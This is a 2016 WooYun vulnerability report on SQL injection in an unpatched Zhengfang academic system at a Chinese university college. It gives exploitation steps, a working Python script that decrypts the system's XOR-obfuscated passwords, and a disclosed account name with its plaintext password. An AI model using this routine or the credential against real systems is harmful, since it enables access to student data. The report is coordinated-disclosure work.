当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168976

漏洞标题:浙江工商大学杭州商学院某系统sql注入(查看各种学生信息)

相关厂商:浙江工商大学杭州商学院

漏洞作者: 惊寒

提交时间:2016-01-13 16:57

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-18: 厂商已经确认,细节仅向厂商公开
2016-01-28: 细节向核心白帽子及相关领域专家公开
2016-02-07: 细节向普通白帽子公开
2016-02-17: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

浙江工商大学杭州商学院某系统sql注入(查看各种学生信息)

详细说明:

浙江工商大学杭州商学院教务处由于使用了未打补丁的正方教务管理系统可以sql注入
URL:http://**.**.**.**/
大牛的漏洞:http://**.**.**.**/bugs/wooyun-2010-0122523
使用大牛的漏洞获得登录密码:
1.访问http://**.**.**.**/GetStuCheckinInfo 存在该方法
2.使用burpsuit获得密码

1.png


3.解密脚本:

#! /usr/bin/env python
#coding=utf-8
import requests
from bs4 import BeautifulSoup
import os
def zfDecrypt(pwd,key="Encrypt01"):
tmp = ""
for i in range(len(pwd)//len(key)+1):
tmp = tmp + key
key = tmp[0:len(pwd)]

pwdLength = len(pwd)

if (pwdLength % 2 ==0):
pwd_1 = list(pwd[0:pwdLength//2])
pwd_2 = list(pwd[pwdLength//2:pwdLength])
pwd_1.reverse()
pwd_2.reverse()
pwd = ''.join(pwd_1)+''.join(pwd_2)

array_p = []
array_k = []

for i in range(pwdLength):

array_p.append(pwd[i:i+1])
array_k.append(key[i:i+1])
a = ord(array_p[i])^ord(array_k[i])

if((a>=32)and(a<=126)):
array_p[i] = chr(a)


pwd = ''.join(array_p)

return pwd
def main():
print "passwod:" + zfDecrypt("ys-CKC")
if __name__=="__main__":
main()

漏洞证明:

1.png


加密密码:ys-CKC
帐号:jwc01 真实密码:hsy123

QQ截图20160110221940.png

修复方案:

更新

版权声明:转载请注明来源 惊寒@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-01-18 08:32

厂商回复:

通知处理中

最新状态:

暂无